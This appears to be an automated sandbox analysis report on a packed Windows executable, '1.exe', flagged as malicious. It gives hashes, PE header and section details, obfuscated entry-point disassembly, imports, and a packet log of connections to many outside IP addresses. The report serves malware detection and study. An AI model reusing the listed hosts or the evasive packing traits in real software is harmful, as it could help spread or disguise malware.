SHA1:	48EAE8C7428B16115DA3174AC5B9B8C51B05624E
SHA-256:	413B1F949E09A6118AD1BF385B2B0E4AF7090D9F4C8C314CFCB0EFDF801F11EF
SHA-512:	2253E2FBF9CF4BD517E888F5AC0C276D541E1D6785BC5ED962BDF5A0BC89251DBA8F142FB5D0EEE9E764211E8258BFBEE1A6716AC174AA980F228F8198579442
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........J.~...~...~...~...~....,..~....<..~....*..~....q..~....r..~..~.^..~..~._..~..~.a..~..Rich.~..........PE..d...E@jf.........."..........&.......'........@..............................)...........`.....................................................P...............,....~...&....).$.....).............................H.)..............p..0............................text....~.......................... ..h.rdata..<F..........................@..H.data...............................@....pdata..,...........................@..HINIT................................ ..`.vvd0....F..........................`..h.vvd1...4w...@...x..................`....reloc..$.....)......\|..............@..B........................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.829434433131214
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	1.exe
File size:	29'911'040 bytes
MD5:	31c8b08626439c6e0eb963fcd0661126
SHA1:	8ef35270091c746d1e1da11149b1038b101802c9
SHA256:	ed7be0add55cb21570eb9d01fa9b10deec624f447c84e2fc09d3b351e7c190e3
SHA512:	1cc8f9de47491ba22c306f3f1cbc2fbc340372795b2601c4a96bccb656f82afc2030b3c50e5e9c4db14cea67666d384b09198744181501c5e0b1e6a16752aad4
SSDEEP:	786432:VJfDt0SjoiS/2eOsw/sR8AjXxBTrJe9QQwrsEaUak9:nDtEic28w/sR8wXxAVL
TLSH:	486733071E5286E6D05532FE92B5FB3053651E8D5CABE224F1F1BE6BB6B23B10F04126
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........`.~...-...-...-...-...-.yt-...-)Nf-...-.ys-...-.yc-...-...-...-.Se-...-.Sz-...-.Ss-M..-.St-d..-.Sd-...-..g-...-.Sa-...-Rich...

File Icon


Icon Hash:	cae8ece66c4c6c20

Static PE Info

General

Entrypoint:	0x1ef9fb4
Entrypoint Section:	.data31
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x668BEF39 [Mon Jul 8 13:52:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	867bc85d6d39e9fc6916c2fe326244a6

Entrypoint Preview

Instruction
jmp 00007F0030F2B678h
lea esp, dword ptr [esp+2Ch]
jne 00007F0032B6BFC1h
movsx ax, cl
mov byte ptr [edi-01h], 00000000h
cwde
movsx ax, cl
movsx ax, bl
push ebx
lea eax, dword ptr [edx-7941436Fh]
pushad
lea eax, dword ptr [03B34E3Ah]
mov dword ptr [esp+04h], B4838CCCh
lea esp, dword ptr [esp+20h]
jmp 00007F0032AE4755h
dec eax
int 7Bh
xchg dword ptr [edi+72D6AE9Ch], ebp
cmp ebx, eax
imul ebp, dword ptr [eax+ebx*8-7Ah], A9416DE6h
jp 00007F0030F42763h
and ecx, ebp
fldenv [ecx]
sahf
inc ebp
push 00000051h
aad EDh
dec ebp
jnp 00007F0030F4275Dh
or esp, FFFFFFE2h
rol byte ptr [eax], 1
push es
jmp far 60EDh : ABE39DA3h
add ebx, FFFFFFEDh
fcomp st(0), st(7)
mov al, F7h
retf
xor esi, dword ptr [edi+5Fh]
mov ch, 91h
mov bh, 93h
cld
int1
int 36h
push esi
xchg eax, ecx
cmpsb
cmp al, EDh
test bl, ch
inc ecx
pop esp
jle 00007F0030F4272Fh
cmc
pushfd
sbb al, EEh
retf FE10h
lds eax, esi
sub eax, FCA677E2h
mov ebp, 344FB1F6h
int1
adc al, byte ptr [eax]
jne 00007F0030F427A0h
xchg eax, ebx
xor byte ptr [77515B2Bh], FFFFFFDBh
loop 00007F0030F427AAh
xchg eax, esp
wait
ret
pop edi
bound eax, dword ptr [edx]
sar byte ptr [ebx-05652238h], 1
pop esi
sbb eax, 32B720E0h
je 00007F0030F427DEh
sub dword ptr [ebp+0000009Ch], edi

Rich Headers

Programming Language:

[IMP] VS2005 build 50727
[C++] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2008 build 21022
[ C ] VS2008 build 21022
[C++] VS2008 build 21022
[RES] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3730690	0x1a4	.data31
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x374e000	0x10b92	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x374d000	0xf0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x374bf80	0x40	.data31
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3747000	0xb8	.data31
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x11a8d8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf57b9	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xf7000	0x26c40	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x11e000	0x37ab8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data30	0x156000	0x19807e3	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.data31	0x1ad7000	0x1c754cc	0x1c75600	fbc26d0bd56b55c4dee1fe16c2e13c0c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x374d000	0xf0	0x200	4efcef197d5a77affe4cf061e962cb51	False	0.34375	data	2.409453875721274	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x374e000	0x10b92	0x10c00	a287abc92bb12c589ad0d35cd09c2ea3	False	0.1514109141791045	data	3.4053083215456055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x374e0e8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	Chinese	China	0.1453034425647699
RT_GROUP_ICON	0x375e910	0x14	data	Chinese	China	1.15
RT_MANIFEST	0x375e924	0x26e	ASCII text, with CRLF line terminators	English	United States	0.5176848874598071

Imports

DLL	Import
KERNEL32.dll	GetVersionExA, HeapCreate
USER32.dll	GetNextDlgTabItem
GDI32.dll	GetTextExtentPoint32A
MSIMG32.dll	AlphaBlend
COMDLG32.dll	GetFileTitleA
WINSPOOL.DRV	ClosePrinter
ADVAPI32.dll	SetNamedSecurityInfoA
SHELL32.dll	Shell_NotifyIconA
COMCTL32.dll	_TrackMouseEvent
SHLWAPI.dll	PathFindExtensionA
oledlg.dll
ole32.dll	CoInitialize
OLEAUT32.dll	SysAllocString
WININET.dll	DeleteUrlCacheEntry
gdiplus.dll	GdipSetStringFormatTrimming
IMM32.dll	ImmAssociateContext
WS2_32.dll	sendto
WINHTTP.dll	WinHttpCrackUrl
KERNEL32.dll	GetModuleFileNameW
KERNEL32.dll	GetModuleHandleA, LoadLibraryA, LocalAlloc, LocalFree, GetModuleFileNameA, ExitProcess

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 5, 2024 11:59:07.484181881 CEST	49706	80	192.168.2.5	43.154.89.236
Aug 5, 2024 11:59:07.492330074 CEST	80	49706	43.154.89.236	192.168.2.5
Aug 5, 2024 11:59:07.492638111 CEST	49706	80	192.168.2.5	43.154.89.236
Aug 5, 2024 11:59:07.492999077 CEST	49706	80	192.168.2.5	43.154.89.236
Aug 5, 2024 11:59:07.498095036 CEST	80	49706	43.154.89.236	192.168.2.5
Aug 5, 2024 11:59:08.251384974 CEST	49708	80	192.168.2.5	163.181.201.236
Aug 5, 2024 11:59:08.256283998 CEST	80	49708	163.181.201.236	192.168.2.5
Aug 5, 2024 11:59:08.256372929 CEST	49708	80	192.168.2.5	163.181.201.236
Aug 5, 2024 11:59:08.257441044 CEST	49708	80	192.168.2.5	163.181.201.236
Aug 5, 2024 11:59:08.262268066 CEST	80	49708	163.181.201.236	192.168.2.5
Aug 5, 2024 11:59:08.277297974 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:08.282226086 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:08.282294989 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:08.284327984 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:08.289303064 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:08.421194077 CEST	49710	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:08.422111034 CEST	49711	80	192.168.2.5	104.192.110.226
Aug 5, 2024 11:59:08.426074028 CEST	80	49710	163.171.132.119	192.168.2.5
Aug 5, 2024 11:59:08.426127911 CEST	49710	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:08.426878929 CEST	80	49711	104.192.110.226	192.168.2.5
Aug 5, 2024 11:59:08.426951885 CEST	49711	80	192.168.2.5	104.192.110.226
Aug 5, 2024 11:59:08.426970959 CEST	49710	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:08.427170992 CEST	49711	80	192.168.2.5	104.192.110.226
Aug 5, 2024 11:59:08.432059050 CEST	80	49710	163.171.132.119	192.168.2.5
Aug 5, 2024 11:59:08.432104111 CEST	80	49711	104.192.110.226	192.168.2.5
Aug 5, 2024 11:59:08.460388899 CEST	49712	80	192.168.2.5	163.181.130.181
Aug 5, 2024 11:59:08.467045069 CEST	80	49712	163.181.130.181	192.168.2.5
Aug 5, 2024 11:59:08.467102051 CEST	49712	80	192.168.2.5	163.181.130.181
Aug 5, 2024 11:59:08.467299938 CEST	49712	80	192.168.2.5	163.181.130.181
Aug 5, 2024 11:59:08.472040892 CEST	80	49712	163.181.130.181	192.168.2.5
Aug 5, 2024 11:59:08.579639912 CEST	49713	80	192.168.2.5	111.124.200.101
Aug 5, 2024 11:59:08.584471941 CEST	80	49713	111.124.200.101	192.168.2.5
Aug 5, 2024 11:59:08.584532022 CEST	49713	80	192.168.2.5	111.124.200.101
Aug 5, 2024 11:59:08.584700108 CEST	49713	80	192.168.2.5	111.124.200.101
Aug 5, 2024 11:59:08.589507103 CEST	80	49713	111.124.200.101	192.168.2.5
Aug 5, 2024 11:59:08.660228968 CEST	49714	80	192.168.2.5	49.51.130.237
Aug 5, 2024 11:59:08.665133953 CEST	80	49714	49.51.130.237	192.168.2.5
Aug 5, 2024 11:59:08.665211916 CEST	49714	80	192.168.2.5	49.51.130.237
Aug 5, 2024 11:59:08.665525913 CEST	49714	80	192.168.2.5	49.51.130.237
Aug 5, 2024 11:59:08.670553923 CEST	80	49714	49.51.130.237	192.168.2.5
Aug 5, 2024 11:59:08.761490107 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:08.766393900 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:08.766467094 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:08.766725063 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:08.771497965 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:08.832923889 CEST	49716	80	192.168.2.5	47.246.46.226
Aug 5, 2024 11:59:08.837680101 CEST	80	49716	47.246.46.226	192.168.2.5
Aug 5, 2024 11:59:08.837763071 CEST	49716	80	192.168.2.5	47.246.46.226
Aug 5, 2024 11:59:08.838057995 CEST	49716	80	192.168.2.5	47.246.46.226
Aug 5, 2024 11:59:08.842854023 CEST	80	49716	47.246.46.226	192.168.2.5
Aug 5, 2024 11:59:08.924571037 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:08.929430962 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:08.929513931 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:08.929725885 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:08.934458971 CEST	49718	80	192.168.2.5	47.94.225.221
Aug 5, 2024 11:59:08.935242891 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:08.939286947 CEST	80	49718	47.94.225.221	192.168.2.5
Aug 5, 2024 11:59:08.939353943 CEST	49718	80	192.168.2.5	47.94.225.221
Aug 5, 2024 11:59:08.939630985 CEST	49718	80	192.168.2.5	47.94.225.221
Aug 5, 2024 11:59:08.940707922 CEST	49719	80	192.168.2.5	113.219.142.35
Aug 5, 2024 11:59:08.944405079 CEST	80	49718	47.94.225.221	192.168.2.5
Aug 5, 2024 11:59:08.945549965 CEST	80	49719	113.219.142.35	192.168.2.5
Aug 5, 2024 11:59:08.945631981 CEST	49719	80	192.168.2.5	113.219.142.35
Aug 5, 2024 11:59:08.945794106 CEST	49719	80	192.168.2.5	113.219.142.35
Aug 5, 2024 11:59:08.950562954 CEST	80	49719	113.219.142.35	192.168.2.5
Aug 5, 2024 11:59:09.047194004 CEST	49720	80	192.168.2.5	43.159.118.238
Aug 5, 2024 11:59:09.049736977 CEST	80	49710	163.171.132.119	192.168.2.5
Aug 5, 2024 11:59:09.055059910 CEST	80	49720	43.159.118.238	192.168.2.5
Aug 5, 2024 11:59:09.055124998 CEST	49720	80	192.168.2.5	43.159.118.238
Aug 5, 2024 11:59:09.055140972 CEST	49710	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:09.055397987 CEST	49720	80	192.168.2.5	43.159.118.238
Aug 5, 2024 11:59:09.060220003 CEST	80	49720	43.159.118.238	192.168.2.5
Aug 5, 2024 11:59:09.061239958 CEST	80	49710	163.171.132.119	192.168.2.5
Aug 5, 2024 11:59:09.061299086 CEST	49710	80	192.168.2.5	163.171.132.119
Aug 5, 2024 11:59:09.109852076 CEST	80	49712	163.181.130.181	192.168.2.5
Aug 5, 2024 11:59:09.112428904 CEST	49712	80	192.168.2.5	163.181.130.181
Aug 5, 2024 11:59:09.116657972 CEST	49721	80	192.168.2.5	163.171.208.133
Aug 5, 2024 11:59:09.121509075 CEST	80	49721	163.171.208.133	192.168.2.5
Aug 5, 2024 11:59:09.121587038 CEST	49721	80	192.168.2.5	163.171.208.133
Aug 5, 2024 11:59:09.121865034 CEST	49721	80	192.168.2.5	163.171.208.133
Aug 5, 2024 11:59:09.126651049 CEST	80	49721	163.171.208.133	192.168.2.5
Aug 5, 2024 11:59:09.153217077 CEST	49722	80	192.168.2.5	47.254.187.186
Aug 5, 2024 11:59:09.158113956 CEST	80	49722	47.254.187.186	192.168.2.5
Aug 5, 2024 11:59:09.158168077 CEST	49722	80	192.168.2.5	47.254.187.186
Aug 5, 2024 11:59:09.158400059 CEST	49722	80	192.168.2.5	47.254.187.186
Aug 5, 2024 11:59:09.163167953 CEST	80	49722	47.254.187.186	192.168.2.5
Aug 5, 2024 11:59:09.193397999 CEST	80	49708	163.181.201.236	192.168.2.5
Aug 5, 2024 11:59:09.200320005 CEST	49708	80	192.168.2.5	163.181.201.236
Aug 5, 2024 11:59:09.219758034 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.219809055 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.219825983 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.219841957 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.219907045 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.220071077 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.220627069 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.220702887 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.220717907 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.220751047 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.220756054 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.220782042 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.220799923 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.220807076 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.221008062 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.226286888 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.226321936 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.226385117 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.292283058 CEST	80	49714	49.51.130.237	192.168.2.5
Aug 5, 2024 11:59:09.307593107 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.307629108 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.307663918 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.307697058 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.307732105 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.307827950 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.307827950 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.307868958 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.307902098 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.307936907 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.307949066 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.307981968 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.308339119 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.308392048 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.308423996 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.308435917 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.308460951 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.308501959 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.308531046 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.309026957 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.309058905 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.309073925 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.309113026 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.309148073 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.309158087 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.309181929 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.309225082 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.309901953 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.309933901 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.309967041 CEST	80	49709	183.2.172.185	192.168.2.5
Aug 5, 2024 11:59:09.310014009 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.321352005 CEST	49709	80	192.168.2.5	183.2.172.185
Aug 5, 2024 11:59:09.348218918 CEST	49714	80	192.168.2.5	49.51.130.237
Aug 5, 2024 11:59:09.359137058 CEST	49714	80	192.168.2.5	49.51.130.237
Aug 5, 2024 11:59:09.363317013 CEST	80	49711	104.192.110.226	192.168.2.5
Aug 5, 2024 11:59:09.368091106 CEST	49711	80	192.168.2.5	104.192.110.226
Aug 5, 2024 11:59:09.369878054 CEST	49723	80	192.168.2.5	43.132.80.175
Aug 5, 2024 11:59:09.370745897 CEST	49724	80	192.168.2.5	45.194.34.240
Aug 5, 2024 11:59:09.371777058 CEST	49725	80	192.168.2.5	61.163.9.35
Aug 5, 2024 11:59:09.374814034 CEST	80	49723	43.132.80.175	192.168.2.5
Aug 5, 2024 11:59:09.374933004 CEST	49723	80	192.168.2.5	43.132.80.175
Aug 5, 2024 11:59:09.375204086 CEST	49723	80	192.168.2.5	43.132.80.175
Aug 5, 2024 11:59:09.375617027 CEST	80	49724	45.194.34.240	192.168.2.5
Aug 5, 2024 11:59:09.375679016 CEST	49724	80	192.168.2.5	45.194.34.240
Aug 5, 2024 11:59:09.375992060 CEST	49724	80	192.168.2.5	45.194.34.240
Aug 5, 2024 11:59:09.376658916 CEST	80	49725	61.163.9.35	192.168.2.5
Aug 5, 2024 11:59:09.376709938 CEST	49725	80	192.168.2.5	61.163.9.35
Aug 5, 2024 11:59:09.377074957 CEST	49725	80	192.168.2.5	61.163.9.35
Aug 5, 2024 11:59:09.380027056 CEST	80	49723	43.132.80.175	192.168.2.5
Aug 5, 2024 11:59:09.381032944 CEST	80	49724	45.194.34.240	192.168.2.5
Aug 5, 2024 11:59:09.381859064 CEST	80	49725	61.163.9.35	192.168.2.5
Aug 5, 2024 11:59:09.480896950 CEST	80	49716	47.246.46.226	192.168.2.5
Aug 5, 2024 11:59:09.484517097 CEST	49716	80	192.168.2.5	47.246.46.226
Aug 5, 2024 11:59:09.521759987 CEST	80	49720	43.159.118.238	192.168.2.5
Aug 5, 2024 11:59:09.524518967 CEST	49720	80	192.168.2.5	43.159.118.238
Aug 5, 2024 11:59:09.529844046 CEST	80	49720	43.159.118.238	192.168.2.5
Aug 5, 2024 11:59:09.529917955 CEST	49720	80	192.168.2.5	43.159.118.238
Aug 5, 2024 11:59:09.895262003 CEST	80	49719	113.219.142.35	192.168.2.5
Aug 5, 2024 11:59:09.899578094 CEST	49719	80	192.168.2.5	113.219.142.35
Aug 5, 2024 11:59:09.972273111 CEST	80	49724	45.194.34.240	192.168.2.5
Aug 5, 2024 11:59:09.975999117 CEST	49724	80	192.168.2.5	45.194.34.240
Aug 5, 2024 11:59:09.981381893 CEST	80	49724	45.194.34.240	192.168.2.5
Aug 5, 2024 11:59:09.981463909 CEST	49724	80	192.168.2.5	45.194.34.240
Aug 5, 2024 11:59:10.055754900 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.055814981 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.055851936 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.055883884 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.055886984 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:10.055938005 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.055960894 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:10.055970907 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.056021929 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.056052923 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.056086063 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.056109905 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:10.056109905 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:10.056121111 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.056179047 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:10.059963942 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:10.061064005 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.061099052 CEST	80	49717	120.26.110.170	192.168.2.5
Aug 5, 2024 11:59:10.061156988 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:10.061156988 CEST	49717	80	192.168.2.5	120.26.110.170
Aug 5, 2024 11:59:10.069243908 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069273949 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069335938 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069384098 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069387913 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:10.069437981 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069469929 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069483995 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:10.069504976 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069514990 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:10.069538116 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069571018 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069605112 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.069608927 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:10.069648981 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:10.070622921 CEST	80	49721	163.171.208.133	192.168.2.5
Aug 5, 2024 11:59:10.074681997 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.074714899 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.074749947 CEST	80	49715	103.235.46.98	192.168.2.5
Aug 5, 2024 11:59:10.074791908 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:10.079926968 CEST	49715	80	192.168.2.5	103.235.46.98
Aug 5, 2024 11:59:10.088159084 CEST	49721	80	192.168.2.5	163.171.208.133
Aug 5, 2024 11:59:10.093626022 CEST	80	49721	163.171.208.133	192.168.2.5
Aug 5, 2024 11:59:10.093698978 CEST	49721	80	192.168.2.5	163.171.208.133
Aug 5, 2024 11:59:10.207840919 CEST	80	49713	111.124.200.101	192.168.2.5
Aug 5, 2024 11:59:10.215749979 CEST	49713	80	192.168.2.5	111.124.200.101
Aug 5, 2024 11:59:10.296250105 CEST	80	49723	43.132.80.175	192.168.2.5
Aug 5, 2024 11:59:10.299480915 CEST	49723	80	192.168.2.5	43.132.80.175
Aug 5, 2024 11:59:10.305655956 CEST	80	49723	43.132.80.175	192.168.2.5
Aug 5, 2024 11:59:10.306690931 CEST	49723	80	192.168.2.5	43.132.80.175
Aug 5, 2024 11:59:10.377258062 CEST	80	49725	61.163.9.35	192.168.2.5
Aug 5, 2024 11:59:10.380237103 CEST	49725	80	192.168.2.5	61.163.9.35
Aug 5, 2024 11:59:10.529292107 CEST	80	49718	47.94.225.221	192.168.2.5
Aug 5, 2024 11:59:10.532478094 CEST	49718	80	192.168.2.5	47.94.225.221
Aug 5, 2024 11:59:10.539181948 CEST	80	49722	47.254.187.186	192.168.2.5
Aug 5, 2024 11:59:10.539237022 CEST	80	49722	47.254.187.186	192.168.2.5
Aug 5, 2024 11:59:10.539321899 CEST	49722	80	192.168.2.5	47.254.187.186
